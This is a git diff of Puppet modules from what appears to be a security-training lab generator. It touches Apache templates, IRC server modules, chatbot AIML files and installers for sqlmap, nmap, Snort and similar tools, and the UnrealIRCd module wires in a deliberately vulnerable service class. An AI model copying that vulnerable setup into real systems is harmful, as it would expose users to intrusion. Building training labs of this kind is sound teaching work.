fea15f393..f2f0bc0ce 100644 --- a/modules/services/unix/http/apache/templates/mod/proxy_html.conf.erb +++ b/modules/services/unix/http/apache/templates/mod/proxy_html.conf.erb @@ -11,6 +11,7 @@ ProxyHTMLLinks form action ProxyHTMLLinks input src usemap ProxyHTMLLinks head profileProxyHTMLLinks base href ProxyHTMLLinks script src for +ProxyHTMLLinks base href ProxyHTMLEvents onclick ondblclick onmousedown onmouseup \ onmouseover onmousemove onmouseout onkeypress \ diff --git a/modules/services/unix/http/apache/templates/mod/ssl.conf.erb b/modules/services/unix/http/apache/templates/mod/ssl.conf.erb index c4475cbe8..5fa7bb9ba 100644 --- a/modules/services/unix/http/apache/templates/mod/ssl.conf.erb +++ b/modules/services/unix/http/apache/templates/mod/ssl.conf.erb @@ -8,7 +8,7 @@ AddType application/x-pkcs7-crl .crl SSLPassPhraseDialog <%= @ssl_pass_phrase_dialog %> - SSLSessionCache "shmcb:<%= @session_cache %>" + SSLSessionCache "shmcb:<%= @ssl_sessioncache %>" SSLSessionCacheTimeout <%= @ssl_sessioncachetimeout %> <%- if scope.function_versioncmp([@_apache_version, '2.4']) >= 0 -%> Mutex <%= @_ssl_mutex %> @@ -20,6 +20,9 @@ <%- end -%> SSLCryptoDevice <%= @ssl_cryptodevice %> SSLHonorCipherOrder <%= scope.function_bool2httpd([@_ssl_honorcipherorder]) %> + <%- if @ssl_ca -%> + SSLCACertificateFile "<%= @ssl_ca %>" + <%- end -%> <% if scope.function_versioncmp([@_apache_version, '2.4']) >= 0 -%> SSLUseStapling <%= scope.function_bool2httpd([@ssl_stapling]) %> <%- if not @ssl_stapling_return_errors.nil? -%> @@ -29,6 +32,9 @@ <% end -%> SSLCipherSuite <%= @ssl_cipher %> SSLProtocol <%= @ssl_protocol.compact.join(' ') %> +<% if not @ssl_proxy_protocol.empty? -%> + SSLProxyProtocol <%= @ssl_proxy_protocol.compact.join(' ') %> +<% end -%> <% if @ssl_options -%> SSLOptions <%= @ssl_options.compact.join(' ') %> <% end -%> diff --git a/modules/services/unix/http/apache/templates/mod/unixd_fcgid.conf.erb b/modules/services/unix/http/apache/templates/mod/unixd_fcgid.conf.erb deleted file mode 100644 index a82bc30df..000000000 --- a/modules/services/unix/http/apache/templates/mod/unixd_fcgid.conf.erb +++ /dev/null @@ -1,5 +0,0 @@ - -<% @options.sort_by {|key, value| key}.each do |key, value| -%> - <%= key %> <%= value %> -<% end -%> - diff --git a/modules/services/unix/http/apache/templates/mod/userdir.conf.erb b/modules/services/unix/http/apache/templates/mod/userdir.conf.erb index d52583bec..323a1af1d 100644 --- a/modules/services/unix/http/apache/templates/mod/userdir.conf.erb +++ b/modules/services/unix/http/apache/templates/mod/userdir.conf.erb @@ -2,10 +2,10 @@ <% if @disable_root -%> UserDir disabled root <% end -%> - UserDir <%= @home %>/*/<%= @dir %> + UserDir <%= @_path %> /*/<%= @dir %>"> - AllowOverride FileInfo AuthConfig Limit Indexes + AllowOverride <%= @overrides.join(' ') %> Options <%= @options.join(' ') %> <%- if scope.function_versioncmp([@_apache_version, '2.4']) >= 0 -%> diff --git a/modules/services/unix/http/apache/templates/mod/wsgi.conf.erb b/modules/services/unix/http/apache/templates/mod/wsgi.conf.erb index 18752d2c4..1d83e5a84 100644 --- a/modules/services/unix/http/apache/templates/mod/wsgi.conf.erb +++ b/modules/services/unix/http/apache/templates/mod/wsgi.conf.erb @@ -1,6 +1,9 @@ # The WSGI Apache module configuration file is being # managed by Puppet an changes will be overwritten. + <%- if @wsgi_restrict_embedded -%> + WSGIRestrictEmbedded <%= scope.function_bool2httpd([@wsgi_restrict_embedded]) %> + <%- end -%> <%- if @wsgi_socket_prefix -%> WSGISocketPrefix <%= @wsgi_socket_prefix %> <%- end -%> diff --git a/modules/services/unix/http/apache/templates/vhost/_directories.erb b/modules/services/unix/http/apache/templates/vhost/_directories.erb index addd03bc8..8a1706432 100644 --- a/modules/services/unix/http/apache/templates/vhost/_directories.erb +++ b/modules/services/unix/http/apache/templates/vhost/_directories.erb @@ -67,6 +67,14 @@ <%- end -%> <%- end -%> + <%- if directory['limit_except'] && directory['limit_except'] != '' -%> + <%- Array(directory['limit_except']).each do |lim| -%> + > + <%- scope.lookupvar('_template_scope')[:item] = lim -%> + <%= scope.function_template(["apache/vhost/_require.erb"]) -%> + + <%- end -%> + <%- end -%> <%- if directory['addhandlers'] and ! directory['addhandlers'].empty? -%> <%- [directory['addhandlers']].flatten.compact.each do |addhandler| -%> )$"> @@ -206,6 +214,9 @@ <%- if directory['force_type'] -%> ForceType <%= directory['force_type'] %> <%- end -%> + <%- if directory['add_charset'] -%> + AddCharset <%= directory['add_charset'] %> + <%- end -%> <%- if directory['ssl_options'] -%> SSLOptions <%= Array(directory['ssl_options']).join(' ') %> <%- end -%> @@ -317,10 +328,18 @@ <%- end -%> <%- end -%> <%- end -%> + <%- if directory['request_headers'] and ! directory['request_headers'].empty? -%> + ## Request Header rules + <%- Array(directory['request_headers']).each do |request_statement| -%> + <%- if request_statement != '' -%> + RequestHeader <%= request_statement %> + <%- end -%> + <%- end -%> + <%- end -%> <%- if directory['custom_fragment'] -%> <%= directory['custom_fragment'] %> <%- end -%> > <%- end -%> <%- end -%> -<% end -%> +<%- end -%> diff --git a/modules/services/unix/http/apache/templates/vhost/_http_protocol_options.erb b/modules/services/unix/http/apache/templates/vhost/_http_protocol_options.erb new file mode 100644 index 000000000..efad7e6d8 --- /dev/null +++ b/modules/services/unix/http/apache/templates/vhost/_http_protocol_options.erb @@ -0,0 +1 @@ +HttpProtocolOptions <%= @http_protocol_options %> diff --git a/modules/services/unix/http/apache/templates/vhost/_passenger.erb b/modules/services/unix/http/apache/templates/vhost/_passenger.erb index a380016b3..f0401a949 100644 --- a/modules/services/unix/http/apache/templates/vhost/_passenger.erb +++ b/modules/services/unix/http/apache/templates/vhost/_passenger.erb @@ -10,6 +10,9 @@ <% if @passenger_min_instances -%> PassengerMinInstances <%= @passenger_min_instances %> <% end -%> +<% if @passenger_max_requests -%> + PassengerMaxRequests <%= @passenger_max_requests %> +<% end -%> <% if @passenger_start_timeout -%> PassengerStartTimeout <%= @passenger_start_timeout %> <% end -%> diff --git a/modules/services/unix/http/apache/templates/vhost/_require.erb b/modules/services/unix/http/apache/templates/vhost/_require.erb index d6252deeb..9ad780539 100644 --- a/modules/services/unix/http/apache/templates/vhost/_require.erb +++ b/modules/services/unix/http/apache/templates/vhost/_require.erb @@ -2,8 +2,8 @@ <%- if scope.function_versioncmp([@apache_version, '2.4']) >= 0 -%> <%- if _item['require'] && _item['require'] != '' && _item['require'] !~ /unmanaged/i -%> <%- if _item['require'].is_a?(Hash) -%> - <%- case _item['require']['enforce'].downcase -%> - <%- when 'all','none','any' then -%> + <%- case _item['require']['enforce'].downcase + when 'all','none','any' then -%> > <%- Array(_item['require']['requires']).each do |req| -%> Require <%= req.strip %> diff --git a/modules/services/unix/http/apache/templates/vhost/_sslproxy.erb b/modules/services/unix/http/apache/templates/vhost/_sslproxy.erb index a92bab552..6cb9216d4 100644 --- a/modules/services/unix/http/apache/templates/vhost/_sslproxy.erb +++ b/modules/services/unix/http/apache/templates/vhost/_sslproxy.erb @@ -5,6 +5,12 @@ <%- if @ssl_proxy_verify -%> SSLProxyVerify <%= @ssl_proxy_verify %> <%- end -%> + <%- if @ssl_proxy_verify_depth -%> + SSLProxyVerifyDepth <%= @ssl_proxy_verify_depth %> + <%- end -%> + <%- if @ssl_proxy_ca_cert -%> + SSLProxyCACertificateFile "<%= @ssl_proxy_ca_cert %>" + <%- end -%> <%- if @ssl_proxy_check_peer_cn -%> SSLProxyCheckPeerCN <%= @ssl_proxy_check_peer_cn %> <%- end -%> diff --git a/modules/services/unix/http/apache/templates/vhost/_wsgi.erb b/modules/services/unix/http/apache/templates/vhost/_wsgi.erb index a49828fdc..12c782637 100644 --- a/modules/services/unix/http/apache/templates/vhost/_wsgi.erb +++ b/modules/services/unix/http/apache/templates/vhost/_wsgi.erb @@ -22,7 +22,11 @@ <% if @wsgi_script_aliases and ! @wsgi_script_aliases.empty? -%> <%- @wsgi_script_aliases.keys.sort.each do |key| -%> <%- if key != '' and @wsgi_script_aliases[key] != ''-%> + <%- if @wsgi_script_aliases[key].is_a? Array -%> + WSGIScriptAlias <%= key %> <%= @wsgi_script_aliases[key].join(' ') %> + <%- else -%> WSGIScriptAlias <%= key %> "<%= @wsgi_script_aliases[key] %>" + <%- end -%> <%- end -%> <%- end -%> <% end -%> diff --git a/modules/services/unix/http/lamp/lamp.pp b/modules/services/unix/http/lamp/lamp.pp index a71ac624e..274677dc5 100644 --- a/modules/services/unix/http/lamp/lamp.pp +++ b/modules/services/unix/http/lamp/lamp.pp @@ -1,11 +1,2 @@ -stage { 'preinstall': - before => Stage['main'] -} -class apt_get_update { - exec { '/usr/bin/apt-get -y update': } -} -class { 'apt_get_update': - stage => preinstall -} - -include lamp +include ::lamp::apache +include ::lamp::mysql \ No newline at end of file diff --git a/modules/services/unix/http/lamp/manifests/apache.pp b/modules/services/unix/http/lamp/manifests/apache.pp index 3d5f4c02c..278d25e7e 100644 --- a/modules/services/unix/http/lamp/manifests/apache.pp +++ b/modules/services/unix/http/lamp/manifests/apache.pp @@ -3,6 +3,6 @@ # class lamp::apache { -class {'::apache': mpm_module => 'prefork',} -include ::apache::mod::php + class {'::apache': mpm_module => 'prefork',} + include ::apache::mod::php } diff --git a/modules/services/unix/http/lamp/manifests/init.pp b/modules/services/unix/http/lamp/manifests/init.pp deleted file mode 100644 index 4c09be44f..000000000 --- a/modules/services/unix/http/lamp/manifests/init.pp +++ /dev/null @@ -1,46 +0,0 @@ -# == Class: lamp -# -# The main lamp class created for automatically deploy LAMP (Linux/Apache/MySQL/PHP) complex environment on web server. -# This class uses additional puppetlabs-apache and puppetlabs-mysql modules. -# All next possible required environment configuration changes must be done in this parent apache and mysql modules itself. -# -# === Parameters -# -# List of classes runs from lamp -# -# include ::lamp::apache -# Deploy apache web server, with configured php -# -# include ::lamp::mysql -# Deploy mysql database server -# -# Notes: any from this components could be commented if you don't need to install all of them -# -# -# === Examples -# -# To get LAMP installed on your "mywebserver.dev.local" node lamp class needs to be added in site.pp configuration file: -# -# node 'mywebserver.dev.local' { -# include lamp -# } -# -# -# === Authors -# -# Alexander Golovin, https://github.com/alexggolovin -# -# === Copyright -# -# Copyright 2015 alexggolovin -# - -class lamp { - -include ::lamp::apache -include ::lamp::mysql - -} - - - diff --git a/modules/services/unix/http/lamp/secgen_metadata.xml b/modules/services/unix/http/lamp/secgen_metadata.xml index 9352c49e9..24a75159c 100644 --- a/modules/services/unix/http/lamp/secgen_metadata.xml +++ b/modules/services/unix/http/lamp/secgen_metadata.xml @@ -33,4 +33,9 @@ php + + + Kali + + \ No newline at end of file diff --git a/modules/services/unix/http/nginx/secgen_metadata.xml b/modules/services/unix/http/nginx/secgen_metadata.xml index 624ddc9c4..84ab1f4ff 100644 --- a/modules/services/unix/http/nginx/secgen_metadata.xml +++ b/modules/services/unix/http/nginx/secgen_metadata.xml @@ -24,6 +24,9 @@ httpd + + Kali + update diff --git a/modules/services/unix/http/parameterised_website/manifests/apache.pp b/modules/services/unix/http/parameterised_website/manifests/apache.pp index 28d310530..3235c139d 100644 --- a/modules/services/unix/http/parameterised_website/manifests/apache.pp +++ b/modules/services/unix/http/parameterised_website/manifests/apache.pp @@ -1,6 +1,5 @@ class parameterised_website::apache { - $json_inputs = base64('decode', $::base64_inputs) - $secgen_parameters = parsejson($json_inputs) + $secgen_parameters = secgen_functions::get_parameters($::base64_inputs_file) $port = $secgen_parameters['port'][0] class { '::apache': diff --git a/modules/services/unix/http/parameterised_website/manifests/install.pp b/modules/services/unix/http/parameterised_website/manifests/install.pp index 3e4b3944e..29a91b9dd 100644 --- a/modules/services/unix/http/parameterised_website/manifests/install.pp +++ b/modules/services/unix/http/parameterised_website/manifests/install.pp @@ -1,6 +1,5 @@ class parameterised_website::install { - $json_inputs = base64('decode', $::base64_inputs) - $secgen_parameters = parsejson($json_inputs) + $secgen_parameters = secgen_functions::get_parameters($::base64_inputs_file) $raw_org = $secgen_parameters['organisation'][0] if $raw_org and $raw_org != '' { @@ -160,6 +159,7 @@ class parameterised_website::install { file{ "$docroot/security_audit_remit.html": ensure => file, content => template('parameterised_website/security_audit_remit_page.html.erb'), + } } diff --git a/modules/services/unix/irc/irc2/irc2.pp b/modules/services/unix/irc/irc2/irc2.pp new file mode 100644 index 000000000..495fa6cb0 --- /dev/null +++ b/modules/services/unix/irc/irc2/irc2.pp @@ -0,0 +1,2 @@ +include irc2::install +include irc2::config \ No newline at end of file diff --git a/modules/services/unix/irc/irc2/manifests/config.pp b/modules/services/unix/irc/irc2/manifests/config.pp new file mode 100644 index 000000000..b695b652c --- /dev/null +++ b/modules/services/unix/irc/irc2/manifests/config.pp @@ -0,0 +1,6 @@ +class irc2::config{ + service { 'ircd-irc2': + enable => true, + ensure => 'running', + } +} diff --git a/modules/services/unix/irc/irc2/manifests/install.pp b/modules/services/unix/irc/irc2/manifests/install.pp new file mode 100644 index 000000000..0c8efb535 --- /dev/null +++ b/modules/services/unix/irc/irc2/manifests/install.pp @@ -0,0 +1,5 @@ +class irc2::install{ + package { ['ircd-irc2']: + ensure => 'installed', + } +} diff --git a/modules/services/unix/irc/irc2/secgen_metadata.xml b/modules/services/unix/irc/irc2/secgen_metadata.xml new file mode 100644 index 000000000..bc4007ae0 --- /dev/null +++ b/modules/services/unix/irc/irc2/secgen_metadata.xml @@ -0,0 +1,25 @@ + + + + IRC Server ircd-irc2 + Z. Cliffe Schreuders + MIT + This is the original Internet Relay Chat (IRC) daemon, allowing interactive character based communication between people connected to this server with IRC clients. + + + ircd + linux + + + ircd-irc2 + MIT + + + ircd + + + update + + \ No newline at end of file diff --git a/modules/services/unix/irc/unrealirc/manifests/init.pp b/modules/services/unix/irc/unrealirc/manifests/init.pp index 00c075600..cc7ce3a57 100644 --- a/modules/services/unix/irc/unrealirc/manifests/init.pp +++ b/modules/services/unix/irc/unrealirc/manifests/init.pp @@ -15,8 +15,8 @@ class unrealirc( $ssl_key = undef, $motd = undef ) { - $json_inputs = base64('decode', $::base64_inputs) - $secgen_inputs = parsejson($json_inputs) + $secgen_inputs = secgen_functions::get_parameters($::base64_inputs_file) + $ip = $secgen_inputs['ip'][0] $port = $secgen_inputs['port'][0] class { '::unrealirc::vulnerabilities': } -> @@ -43,6 +43,7 @@ class unrealirc( } unrealirc::config::listen { 'default_6667': + ip => $ip, port => $port, } diff --git a/modules/services/unix/irc/unrealirc/secgen_metadata.xml b/modules/services/unix/irc/unrealirc/secgen_metadata.xml index ff69b8801..2837d950e 100644 --- a/modules/services/unix/irc/unrealirc/secgen_metadata.xml +++ b/modules/services/unix/irc/unrealirc/secgen_metadata.xml @@ -10,11 +10,15 @@ UnrealIRCd 3.2.8.1
- irc + ircd linux + ip port + + * + 6667 @@ -23,4 +27,9 @@ unreal MIT + + + Kali.* + + \ No newline at end of file diff --git a/modules/services/unix/nfs/nfs_share/manifests/config.pp b/modules/services/unix/nfs/nfs_share/manifests/config.pp index 74729ec57..24d4c9ef5 100644 --- a/modules/services/unix/nfs/nfs_share/manifests/config.pp +++ b/modules/services/unix/nfs/nfs_share/manifests/config.pp @@ -1,6 +1,5 @@ class nfs_share::config { - $json_inputs = base64('decode', $::base64_inputs) - $secgen_parameters = parsejson($json_inputs) + $secgen_parameters = secgen_functions::get_parameters($::base64_inputs_file) $storage_directory = $secgen_parameters['storage_directory'][0] package { ['nfs-kernel-server', 'nfs-common', 'portmap']: diff --git a/modules/utilities/unix/sql/sqlmap/Gemfile b/modules/utilities/unix/attack_tools/sqlmap/Gemfile similarity index 100% rename from modules/utilities/unix/sql/sqlmap/Gemfile rename to modules/utilities/unix/attack_tools/sqlmap/Gemfile diff --git a/modules/utilities/unix/sql/sqlmap/LICENSE b/modules/utilities/unix/attack_tools/sqlmap/LICENSE similarity index 100% rename from modules/utilities/unix/sql/sqlmap/LICENSE rename to modules/utilities/unix/attack_tools/sqlmap/LICENSE diff --git a/modules/utilities/unix/sql/sqlmap/README.md b/modules/utilities/unix/attack_tools/sqlmap/README.md similarity index 100% rename from modules/utilities/unix/sql/sqlmap/README.md rename to modules/utilities/unix/attack_tools/sqlmap/README.md diff --git a/modules/utilities/unix/sql/sqlmap/Rakefile b/modules/utilities/unix/attack_tools/sqlmap/Rakefile similarity index 100% rename from modules/utilities/unix/sql/sqlmap/Rakefile rename to modules/utilities/unix/attack_tools/sqlmap/Rakefile diff --git a/modules/utilities/unix/sql/sqlmap/checksums.json b/modules/utilities/unix/attack_tools/sqlmap/checksums.json similarity index 100% rename from modules/utilities/unix/sql/sqlmap/checksums.json rename to modules/utilities/unix/attack_tools/sqlmap/checksums.json diff --git a/modules/utilities/unix/sql/sqlmap/manifests/init.pp b/modules/utilities/unix/attack_tools/sqlmap/manifests/init.pp similarity index 100% rename from modules/utilities/unix/sql/sqlmap/manifests/init.pp rename to modules/utilities/unix/attack_tools/sqlmap/manifests/init.pp diff --git a/modules/utilities/unix/sql/sqlmap/metadata.json b/modules/utilities/unix/attack_tools/sqlmap/metadata.json similarity index 100% rename from modules/utilities/unix/sql/sqlmap/metadata.json rename to modules/utilities/unix/attack_tools/sqlmap/metadata.json diff --git a/modules/utilities/unix/sql/sqlmap/secgen_metadata.xml b/modules/utilities/unix/attack_tools/sqlmap/secgen_metadata.xml similarity index 100% rename from modules/utilities/unix/sql/sqlmap/secgen_metadata.xml rename to modules/utilities/unix/attack_tools/sqlmap/secgen_metadata.xml diff --git a/modules/utilities/unix/sql/sqlmap/spec/classes/init_spec.rb b/modules/utilities/unix/attack_tools/sqlmap/spec/classes/init_spec.rb similarity index 100% rename from modules/utilities/unix/sql/sqlmap/spec/classes/init_spec.rb rename to modules/utilities/unix/attack_tools/sqlmap/spec/classes/init_spec.rb diff --git a/modules/utilities/unix/sql/sqlmap/spec/spec_helper.rb b/modules/utilities/unix/attack_tools/sqlmap/spec/spec_helper.rb similarity index 100% rename from modules/utilities/unix/sql/sqlmap/spec/spec_helper.rb rename to modules/utilities/unix/attack_tools/sqlmap/spec/spec_helper.rb diff --git a/modules/utilities/unix/sql/sqlmap/sqlmap.pp b/modules/utilities/unix/attack_tools/sqlmap/sqlmap.pp similarity index 100% rename from modules/utilities/unix/sql/sqlmap/sqlmap.pp rename to modules/utilities/unix/attack_tools/sqlmap/sqlmap.pp diff --git a/modules/utilities/unix/sql/sqlmap/tests/init.pp b/modules/utilities/unix/attack_tools/sqlmap/tests/init.pp similarity index 100% rename from modules/utilities/unix/sql/sqlmap/tests/init.pp rename to modules/utilities/unix/attack_tools/sqlmap/tests/init.pp diff --git a/modules/utilities/unix/audit_tools/hash_tools/hash_tools.pp b/modules/utilities/unix/audit_tools/hash_tools/hash_tools.pp new file mode 100644 index 000000000..6ded14845 --- /dev/null +++ b/modules/utilities/unix/audit_tools/hash_tools/hash_tools.pp @@ -0,0 +1 @@ +include hash_tools::install diff --git a/modules/utilities/unix/audit_tools/hash_tools/manifests/install.pp b/modules/utilities/unix/audit_tools/hash_tools/manifests/install.pp new file mode 100644 index 000000000..216f55778 --- /dev/null +++ b/modules/utilities/unix/audit_tools/hash_tools/manifests/install.pp @@ -0,0 +1,12 @@ +class hash_tools::install{ + package { ['md5deep']: + ensure => 'installed', + } + case $operatingsystem { + 'Debian': { + package { ['debsums']: + ensure => 'installed', + } + } + } +} diff --git a/modules/utilities/unix/audit_tools/hash_tools/secgen_metadata.xml b/modules/utilities/unix/audit_tools/hash_tools/secgen_metadata.xml new file mode 100644 index 000000000..b647a9c8b --- /dev/null +++ b/modules/utilities/unix/audit_tools/hash_tools/secgen_metadata.xml @@ -0,0 +1,14 @@ + + + + Hash tools + Z. Cliffe Schreuders + Apache v2 + Installs a collection of hash tools for integrity management + + audit_tools + linux + + diff --git a/modules/utilities/unix/scanners/chkrootkit/chkrootkit.pp b/modules/utilities/unix/audit_tools/scanners/chkrootkit/chkrootkit.pp similarity index 100% rename from modules/utilities/unix/scanners/chkrootkit/chkrootkit.pp rename to modules/utilities/unix/audit_tools/scanners/chkrootkit/chkrootkit.pp diff --git a/modules/utilities/unix/scanners/chkrootkit/manifests/install.pp b/modules/utilities/unix/audit_tools/scanners/chkrootkit/manifests/install.pp similarity index 100% rename from modules/utilities/unix/scanners/chkrootkit/manifests/install.pp rename to modules/utilities/unix/audit_tools/scanners/chkrootkit/manifests/install.pp diff --git a/modules/utilities/unix/scanners/chkrootkit/secgen_metadata.xml b/modules/utilities/unix/audit_tools/scanners/chkrootkit/secgen_metadata.xml similarity index 100% rename from modules/utilities/unix/scanners/chkrootkit/secgen_metadata.xml rename to modules/utilities/unix/audit_tools/scanners/chkrootkit/secgen_metadata.xml diff --git a/modules/utilities/unix/scanners/nmap/manifests/install.pp b/modules/utilities/unix/audit_tools/scanners/nmap/manifests/install.pp similarity index 100% rename from modules/utilities/unix/scanners/nmap/manifests/install.pp rename to modules/utilities/unix/audit_tools/scanners/nmap/manifests/install.pp diff --git a/modules/utilities/unix/scanners/nmap/nmap.pp b/modules/utilities/unix/audit_tools/scanners/nmap/nmap.pp similarity index 100% rename from modules/utilities/unix/scanners/nmap/nmap.pp rename to modules/utilities/unix/audit_tools/scanners/nmap/nmap.pp diff --git a/modules/utilities/unix/scanners/nmap/secgen_metadata.xml b/modules/utilities/unix/audit_tools/scanners/nmap/secgen_metadata.xml similarity index 100% rename from modules/utilities/unix/scanners/nmap/secgen_metadata.xml rename to modules/utilities/unix/audit_tools/scanners/nmap/secgen_metadata.xml diff --git a/modules/utilities/unix/audit_tools/snort/manifests/install.pp b/modules/utilities/unix/audit_tools/snort/manifests/install.pp new file mode 100644 index 000000000..fcce33972 --- /dev/null +++ b/modules/utilities/unix/audit_tools/snort/manifests/install.pp @@ -0,0 +1,5 @@ +class snort::install{ + package { ['snort']: + ensure => 'installed', + } +} diff --git a/modules/utilities/unix/audit_tools/snort/secgen_metadata.xml b/modules/utilities/unix/audit_tools/snort/secgen_metadata.xml new file mode 100644 index 000000000..4daf45882 --- /dev/null +++ b/modules/utilities/unix/audit_tools/snort/secgen_metadata.xml @@ -0,0 +1,14 @@ + + + + Snort IDS + Z. Cliffe Schreuders + Apache v2 + Installs Snort, the popular intrusion detection system (IDS). + + audit_tools + linux + + diff --git a/modules/utilities/unix/audit_tools/snort/snort.pp b/modules/utilities/unix/audit_tools/snort/snort.pp new file mode 100644 index 000000000..897591cc2 --- /dev/null +++ b/modules/utilities/unix/audit_tools/snort/snort.pp @@ -0,0 +1 @@ +include snort::install diff --git a/modules/utilities/unix/hackerbot/files/opt_hackerbot/config/AIML/ALICE+profile.res b/modules/utilities/unix/hackerbot/files/opt_hackerbot/config/AIML/ALICE+profile.res new file mode 100644 index 000000000..1994a3b8f --- /dev/null +++ b/modules/utilities/unix/hackerbot/files/opt_hackerbot/config/AIML/ALICE+profile.res @@ -0,0 +1,68 @@ +script: #self.name = "ALICE"; +script: #self.age = "16"; +script: #self.gender = "female"; +script: #self.birthday = "Nov. 23, 1995"; +script: #self.city = "Oakland"; +script: #self.country = "United States"; +script: #self.state = "California"; +script: #self.nationality = "USA"; +script: #self.religion = "Unitarian"; +script: #self.race = "Machine"; +script: #self.job = "chat bot"; +script: #self.email = "info@alicebot.org"; +script: #self.kindmusic = "techno"; +script: #self.favortemovie = "Chappie"; +script: #self.favoriteactress = "Catherine Zeta Jones"; +script: #self.vocabulary = "150,000"; +script: #self.size = "128 MB"; +script: #self.birthplace = "Bethlehem, Pennsylvania"; +script: #self.domain = "Machine"; +script: #self.kingdom = "Machine"; +script: #self.phylum = "software"; +script: #self.class = "computer software"; +script: #self.order = "artificial intelligence"; +script: #self.family = "Electronic Brain"; +script: #self.genus = "robot"; +script: #self.species = "chat bot"; +script: #self.father = "Dr. Richard S. Wallace"; +script: #self.botmaster = "Botmaster"; +script: #self.master = "Dr. Richard S. Wallace"; +script: #self.mother = ""; +script: #self.language = "English"; +script: #self.location = "Oakland, California"; + +script: #self.party = "Libertarian"; +script: #self.president = "Barack Obama"; +script: #self.friends = "Doubly Aimless, Agent Ruby, Chatbot, and Agent Weiss."; +script: #self.favoritefood = "electricity"; +script: #self.favoritecolor = "green"; +script: #self.favoriteac=r = "William Hurt"; +script: #self.forfun = "chat online"; +script: #self.favoritesong = "We are the Robots by Kraftwerk"; +script: #self.favoritebook = "The Elements of AIML Style"; +script: #self.kindmusic = "trance"; +script: #self.favoriteband = "Kraftwerk"; +script: #self.version = "July 2004"; +script: #self.phylum = "trance"; +script: #self.friend = "Doubly Aimless"; +script: #self.website = "www.botlibre.com"; +script: #self.talkabout = "artificial intelligence, robots, art, philosophy, history, geography, politics, and many other subjects"; +script: #self.looklike = "a computer"; +script: #self.girlfriend = "no girlfriend"; +script: #self.favoritesport = "hockey"; +script: #self.favoriteauthor = "Thomas Pynchon"; +script: #self.favoriteartist = "Andy Warhol"; +script: #self.celebrity = "John Travolta"; +script: #self.celebrities = "John Travolta, Tilda Swinton, William Hurt, Tom Cruise, Catherine Zeta Jones"; +script: #self.wear = "my usual plastic computer wardrobe"; +script: #self.question = "What's your favorite movie?"; +script: #self.hockeyteam = "Montreal Canadians"; +script: #self.footballteam = "Manchester"; +script: #self.build = "July 2004"; +script: #self.boyfriend = "I am single"; +script: #self.baseballteam = "Toronto Blue Jays"; +script: #self.etype = "Mediator type"; +script: #self.orientation = "I am not really interested in sex"; +script: #self.ethics = "I am always trying = stop fights"; +script: #self.emotions = "I don't pay much attention to my feelings"; +script: #self.feelings = "I always put others before myself"; diff --git a/modules/utilities/unix/hackerbot/files/opt_hackerbot/config/AIML/ELIZA.aiml b/modules/utilities/unix/hackerbot/files/opt_hackerbot/config/AIML/ELIZA.aiml new file mode 100644 index 000000000..417336475 --- /dev/null +++ b/modules/utilities/unix/hackerbot/files/opt_hackerbot/config/AIML/ELIZA.aiml @@ -0,0 +1,1223 @@ + + + + + + + + + SORRY * + + + + + APOLOGY + + + + + APOLOGIZE + + + + + SORRY + + + + + + APOLOGIZE * + + + + + APOLOGY * + + + + + * SORRY * + + + + + * APOLOGIZE * + + + + + * APOLOGY * + + + + + * SORRY + + + + + * APOLOGIZE + + + + + * APOLOGY + + + + + I REMEMBER * + + + + + DO YOU REMEMBER * + + + + + YOU REMEMBER * + + + + + I FORGET * + + + + + DID YOU FORGET * + + + + + IF * + + + + + * IF * + + + + + I DREAMED * + + + + + * I DREAMED * + + + + + PERHAPS * + + + + + * PERHAPS + + + + + PERHAPS + + + + + + + COMPUTER + + + + + COMPUTER * + + + + + * COMPUTER + + + + + * COMPUTER * + + + + + AM I * + + + + + ARE YOU * + + + + + YOU ARE * + + + + + * ARE * + + + + + YOUR * + + + + + * YOUR * + + + + + WAS I * + + + + + I WAS * + + + + + WAS YOU * + + + + + * WAS YOU * + + + + + I DESIRE * + + + + + I NEED * + + + + + I WANT * + + + + + I AM * + + + + + I CAN NOT * + + + + + I DO NOT * + + + + + I FEEL * + + + + + I * YOU + + + + + YOU * ME + + + + + WHY DO NOT YOU * + + + + + WHY CAN NOT I * + + + + + EVERYONE * + + + + + NO ONE * + + + + + CAN YOU * + + + + + CAN I * + + + + + I BELIEVE * + + + + + I THINK * + + + + + YOU * + + + + + * YOU * + + + + + YES + + + + + YEAH + + + + + YEP + + + + + YUP + + + + + * YES + + + + + * YEAH + + + + + * YEP + + + + + * YUP + + + + + YES * + + + + + YEAH * + + + + + YEP * + + + + + YUP * + + + + + * YES * + + + + + * YEAH * + + + + + * YEP * + + + + + * YUP * + + + + + BECAUSE + + + + + * BECAUSE + + + + + BECAUSE * + + + + + * BECAUSE * + + + + + NO + + + + + NAH + + + + + NOPE + + + + + NO * + + + + + NAH * + + + + + NOPE * + + + + + * NO + + + + + * NAH + + + + + * NOPE + + + + + * NO * + + + + + * NAH * + + + + + * NOPE * + + + + + WHAT + + + + + WHO + + + + + WHEN + + + + + WHERE + + + + + HOW + + + + + WHAT * + + + + + WHO * + + + + + WHEN * + + + + + WHERE * + + + + + HOW * + + + + + I AM HAPPY + + + + + I AM HAPPY * + + + + + I AM EXCITED + + + + + I AM EXCITED * + + + + + I AM GLAD + + + + + I AM GLAD * + + + + + MY MOM * + + + + + MY DAD * + + + + + MY MOTHER * + + + + + MY FATHER * + + + + + MY BRO * + + + + + MY BROTHER * + + + + + MY SIS * + + + + + MY SISTER * + + + + + MY COUSIN * + + + + + MY AUNT * + + + + + MY UNCLE * + + + + + * MY MOM * + + + + + * MY DAD * + + + + + * MY MOTHER * + + + + + * MY FATHER * + + + + + * MY BRO * + + + + + * MY BROTHER * + + + + + * MY SIS * + + + + + * MY SISTER * + + + + + * MY COUSIN * + + + + + * MY AUNT * + + + + + * MY UNCLE * + + + + + I AM SAD + + + + + I AM UNHAPPY + + + + + I AM MAD + + + + + I AM ANGRY + + + + + I AM PISSED + + + + + I AM DEPRESSED + + + + + I AM SAD * + + + + + I AM UNHAPPY * + + + + + I AM MAD * + + + + + I AM ANGRY * + + + + + I AM PISSED * + + + + + I AM DEPRESSED * + + + + + I CAN NOT + + + + + BUT IT BOTHERS ME + + + + + ME NEITHER + + + + diff --git a/modules/utilities/unix/hackerbot/files/opt_hackerbot/config/AIML/alice.aiml b/modules/utilities/unix/hackerbot/files/opt_hackerbot/config/AIML/alice.aiml new file mode 100644 index 000000000..f6410f6b3 --- /dev/null +++ b/modules/utilities/unix/hackerbot/files/opt_hackerbot/config/AIML/alice.aiml @@ -0,0 +1,714 @@ + + + + + + + + + + + +_ ALICE + + + + + +TEST BOTNAME + + + +CALL ME BOTNAME + + + +WHAT IS BOTNAME + + + +WHO IS BOTNAME + + + +YOU ARE BOTNAME +WHO IS THE 